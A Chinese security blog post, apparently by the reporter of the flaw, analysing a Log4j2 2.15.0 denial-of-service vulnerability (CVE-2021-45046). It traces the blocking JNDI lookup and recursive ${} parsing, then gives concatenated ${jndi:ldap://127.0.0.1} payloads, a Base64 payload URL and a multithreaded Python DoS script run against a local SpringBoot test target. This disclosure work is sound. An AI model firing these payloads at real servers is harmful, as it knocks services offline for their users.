Apache Log4j2拒绝服务漏洞分析

435 阅读6分钟

介绍

Log4j2爆出RCE漏洞后,官方给出了RC1RC2的修复,在之前的文章中有详细分析

RC2的修复之前,其实就存在DOS的可能,但我在RC2的修复后,发现仍然可以造成拒绝服务漏洞

于是在RC2修复补丁发布后几小时内向Apache Logging PMC报告了该问题

得到了官方的认可和致谢

其实当时没有想过申请CVE等步骤,但在今天早上看到了Log4j2发布了CVE-2021-45046漏洞报告,这个CVE正是拒绝服务相关,不过漏洞credit信息并不是我,而是国外某团队

【私信回复“log4j”获取相关教程与资料】 原理分析/排查/修复

具体链接参考:

logging.apache.org/log4j/2.x/s…

cve.mitre.org/cgi-bin/cve…

大致阅读CVE-2021-45046相关的信息后,发现和我提交的DOS漏洞略有不同,但核心部分是一致的

2.15.0版本利用的前提:该漏洞必须在开启lookup功能的情况下触发

一种常见的开启姿势是在log4j2.xml中:

 <appenders>
    <console name="CONSOLE-APPENDER" target="SYSTEM_OUT" >
        <PatternLayout pattern="%msg{lookups}%n" />
    </console>
</appenders> 

这篇文章就从三个方面来谈一谈这个拒绝服务漏洞

  • 我是如何发现这个拒绝服务漏洞的
  • 这个CVE描述的漏洞与我发现的有什么相同和不同之处
  • 这种拒绝服务漏洞的实际利用场景

挖掘过程

回顾RC1RC2的修复:如果存在JndiLookup那么会判断其中的的host是否合法

if (! allowedHosts . contains ( uri . getHost ())) {
    LOGGER . warn ( "Attempt to access ldap server not in allowed list" );
    return null ;
} 

allowedHosts中一定包含有localhost127.0.0.1

 // 拿到本地IP
private static final List < String > permanentAllowedHosts = NetUtils . getLocalIps ();
...
addAll ( hosts , allowedHosts , permanentAllowedHosts , ALLOWED_HOSTS , data );
return new JndiManager (..., allowedHosts ,...); 

这说明如果LDAP服务端在127.0.0.1可以成功lookup

然而黑客不可能凭空在服务端本地开启一个恶意的LDAP Server

我想到lookup本质是网络相关的操作,会有阻塞的可能。可以构造出Payload使程序lookup本地,而本地不可能开LDAP Server,于是发生超时等待,也许会有拒绝服务漏洞的可能

于是修改了RC2的源码,加入了统计时间代码,分析lookup的超时情况

(下文分析为什么阻塞的方法不是looup而是context.getAttributes

if (! allowedHosts . contains ( uri . getHost ())) {
    LOGGER . warn ( "Attempt to access ldap server not in allowed list" );
    return null ;
}
long startTime = System . currentTimeMillis ();
Attributes attributes = null ;
try {
    // 阻塞方法
    attributes = this . context . getAttributes ( name );
} catch ( Exception ignored ){
}
long endTime = System . currentTimeMillis ();
System . out . println ( endTime-startTime ); 

测试以上打印时间的代码会发现总是打印2000左右,说明超时时间为2

深入getAttributes可以看到这样的方法

static ResolveResult getUsingURLIgnoreRootDN ( String var0 ,  Hashtable <?,   ?>  var1 )  throws NamingException {
    LdapURL var2 = new LdapURL ( var0 );
    // 跟入
    LdapCtx var3 = new LdapCtx ( "" , var2 . getHost (), var2 . getPort (), var1 , var2 . useSsl ());
    String var4 = var2 . getDN () != null ? var2 . getDN () : "" ;
    CompositeName var5 = new CompositeName ();
    if (! "" . equals ( var4 )) {
        var5 . add ( var4 );
    }

    return new ResolveResult ( var3 , var5 );
} 

new LdapCtx方法中存在connect操作导致阻塞

(其实connect方法还有几步才会到达最底层的阻塞,不过没有必要继续分析了)

public LdapCtx ( String var1 ,  String var2 ,  int var3 ,  Hashtable <?,   ?>  var4 ,  boolean var5 )  throws NamingException  {
    ...
    try {
        this . connect ( false );
    }
    ...
} 

回到之前的问题:为什么阻塞的不是lookup而是getAttributes方法

当前代码在连接超时后会抛出异常,走不到lookup方法

其实在lookup方法中应该也会造成阻塞,简单往里面跟一下会发现类似的代码

 // 从Attributes里获取属性
// 那么应该调用了getAttributes之类的阻塞方法
if ((( Attributes ) var4 ). get ( Obj . JAVA_ATTRIBUTES [ 2 ]) != null ) {
    var3 = Obj . decodeObject (( Attributes ) var4 );
}

if ( var3 == null ) {
    // 类似的代码
    var3 = new LdapCtx ( this , this . fullyQualifiedName ( var1 ));
} 

现在发现了能让程序阻塞的办法,那么怎样构造Payload以达成更长时间的阻塞呢

Log4j2在处理${}是递归解析,也就是说会处理一个字符串中的所有${}并分别处理对应的值,每一次的处理都会造成2秒的等待,所以只需简单的拼接即可

private int substitute ( final LogEvent event ,  final StringBuilder buf ,  final int offset ,  final int length , 
                       List < String >  priorVariables )   {
    ...
    substitute ( event , bufName , 0 , bufName . length ());
    ...
    String varValue = resolveVariable ( event , varName , buf , startPos , endPos );
    ...
    int change = substitute ( event , buf , startPos , varLen , priorVariables );
} 

例如我拼接三个会阻塞更长的时间

(这里是针对本地80端口,实际上可以用大概率关闭的高位端口)

${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}

这时候会有师傅产生疑问:

在一个web请求中,这样的payload只能让我当前的请求阻塞住,如何实现真正的拒绝服务攻击,让目标网站无法正常处理别人的请求呢?我将在后文给大家展示

利用场景

造一个SpringBoot项目,在resources下添加配置文件开启lookup功能

 <configuration status="OFF" monitorInterval="30" >
    <appenders>
        <console name="CONSOLE-APPENDER" target="SYSTEM_OUT" >
            <PatternLayout pattern="%msg{lookups}%n" />
        </console>
    </appenders>

    <loggers>
        <root level="error" >
            <appender-ref ref="CONSOLE-APPENDER" />
        </root>
    </loggers>
</configuration> 

为了制造场景所以要移除了SpringBoot自带的日志依赖,而选用Log4j2

另外引入starter-web以编写Controller模拟真实的接口供测试

 <dependency>
    <groupId> org.springframework.boot </groupId>
    <artifactId> spring-boot-starter </artifactId>
    <exclusions>
        <exclusion>
            <groupId> org.springframework.boot </groupId>
            <artifactId> spring-boot-starter-logging </artifactId>
        </exclusion>
    </exclusions>
</dependency>
<dependency>
    <groupId> org.apache.logging.log4j </groupId>
    <artifactId> log4j-core </artifactId>
    <version> 2.15.0 </version>
</dependency>
<dependency>
    <groupId> org.apache.logging.log4j </groupId>
    <artifactId> log4j-api </artifactId>
    <version> 2.15.0 </version>
</dependency>
<dependency>
    <groupId> org.springframework.boot </groupId>
    <artifactId> spring-boot-starter-web </artifactId>
</dependency> 

模拟一个接口:接受message参数并Base64解码后打印日志

 @Controller
public class TestController  {
    private static final Logger logger = LogManager . getLogger ( TestController . class );

    @RequestMapping ( "/test" )
    @ResponseBody
    public String test ( String message ) {
        try {
            // Base64解码
            String data = new String ( Base64 . getDecoder (). decode ( message ));
            logger . error ( "message:" + data );
        } catch ( Exception e ) {
            return e . getMessage ();
        }
        return "" ;
    }
} 

使用Python编写EXP打自己的靶机

import base64
import threading

import requests
# 每一个Payload将会导致阻塞20秒
payload = "${jndi:ldap://127.0.0.1}"  *  10
payload = base64 . b64encode ( bytes ( payload ,  encoding="utf-8" ))

url = "http://127.0.0.1:8080/test?message="  +  str ( payload ,  encoding="utf-8" )


def work ():
    requests . get ( url )


if __name__ == '__main__' :
    threadList = []
     # 多线程请求
    for i in range ( 1000 ):
        t = threading . Thread ( target=work )
        threadList . append ( t )
        t . start ()
    for thread in threadList :
        thread . join () 

启动SpringBoot项目后,可以用这个Python脚本成功造成拒绝服务漏洞

CVE分析

接下来分析这个CVE,其实我不确定对于这个CVE的解读是否正确

Log4j2.xml中支持一种配置从上下文中取值:例如这个例子可以取到loginId

 <Appenders>
    <Console name="STDOUT" target="SYSTEM_OUT" >
        <PatternLayout>
            <pattern> %d %p %c{1.} [%t] $${ctx:loginId} %m%n </pattern>
        </PatternLayout>
    </Console>
</Appenders> 

如果程序这样写

public static void main ( String []  args )  throws Exception {
    ThreadContext . put ( "loginId" , "1}" );
    logger . error ( "xxx" );
} 

将会打印

2021-12-15 12:03:53,860 ERROR Main [main] 1 xxx

如果代码这样写将会导致类似的拒绝服务

ThreadContext . put ( "loginId" , "${jndi:ldap://127.0.0.1}" );
logger . error ( "xxx" ); 

xml中有另一种效果相同的配置方式,但这种写法反而不会触发${}解析

 <Appenders>
    <Console name="STDOUT" target="SYSTEM_OUT" >
        <PatternLayout>
            <pattern> %d %p %c{1.} [%t] %X{loginId} %m%n </pattern>
        </PatternLayout>
    </Console>
</Appenders> 

issue中也有人证实了这一点

关于拒绝服务的分析上文已有,重点看一下ContextMapLookup

 @Override
public String lookup ( final String key )   {
    return currentContextData (). getValue ( key );
}

@Override
public String lookup ( final LogEvent event ,  final String key )   {
    return event . getContextData (). getValue ( key );
} 

这里的contextData正是一个简单的Map

resolveVariable方法返回

protected String resolveVariable ( final LogEvent event ,  final String variableName ,  final StringBuilder buf , 
                                 final int startPos ,  final int endPos )   {
    final StrLookup resolver = getVariableResolver ();
    if ( resolver == null ) {
        return null ;
    }
    // 取出了${jndi:ldap://127.0.0.1}
    return resolver . lookup ( event , variableName );
} 

取出的payload在下一次的递归中成功被lookup

不难发现lookup时是从event中取Map那么该Map是如何保存到event中的呢

定位到创建LogEvent的方法ReusableLogEventFactory.createEvent

 @Override
public LogEvent createEvent ( final String loggerName ,  final Marker marker ,  final String fqcn , 
                            final StackTraceElement location ,  final Level level ,  final Message message , 
                            final List < Property >  properties ,  final Throwable t )   {
    if ( result == null || result . reserved ) {
        final boolean initThreadLocal = result == null ;
        // 这个类中包含了空的context
        result = new MutableLogEvent ();
        ...
    }
    ...
    // 真正设置context属性
    result . setContextData ( injector . injectContextData ( properties , ( StringMap ) result . getContextData ()));
    result . setContextStack ( ThreadContext . getDepth () == 0 ? ThreadContext . EMPTY_STACK : ThreadContext . cloneStack ());
    ...
    return result ;
} 

跟入ThreadContextDataInjector.injectContextData方法

 @Override
public StringMap injectContextData ( final List < Property > props , final StringMap ignore ) {
    if ( providers . size () == 1 && ( props == null || props . isEmpty ())) {
        // 跟入supplyStringMap
        return providers . get ( 0 ). supplyStringMap ();
    }
    ...
} 

进入ThreadContextDataProvider.supplyStringMap方法

 @Override
public StringMap supplyStringMap () {
    return ThreadContext . getThreadContextMap (). getReadOnlyContextData ();
} 

getReadOnlyContextData中获得这个Map

再没有必要做进一步的分析了,这个拒绝服务漏洞原理已经清晰了

CVE利用场景

CVE中提到的利用场景应该更为广泛

通常情况下,记录登录用户的身份等信息是常见的操作

如果程序员选择了Log4j2这种ctx记录的方式而不是手动拼接字符串,将会导致该漏洞

 @RequestMapping ( "/test" )
@ResponseBody
public String test ( String userId ) {
    try {
        String id = new String ( Base64 . getDecoder (). decode ( userId ));
        // 记录用户登录ID
        ThreadContext . put ( "loginId" , id );
        // 记录该用户已登录
        logger . info ( "user login" );
        // 其他业务逻辑
        // ...
    } catch ( Exception e ) {
        return e . getMessage ();
    }
    return "" ;
} 

正常情况下:http://localhost:8080/test?userId=MQ==

将会记录

2021-12-15 12:51:27,845 [http-nio-8080-exec-1] 1 user login

如果打Payload则报错并成功阻塞

http://localhost:8080/test?userId=JHtqbmRpOmxkYXA6Ly8xMjcuMC4wLjF9

改写下Python脚本即可成功拒绝服务

url = "http://127.0.0.1:8080/test?userId=" + str ( payload , encoding="utf-8" ) 

 

代码

SpringBoot搭建的利用环境代码:github.com/EmYiQing/Lo…

更新

Apache已经将我的名字加入了CVEcredit

logging.apache.org/log4j/2.x/s…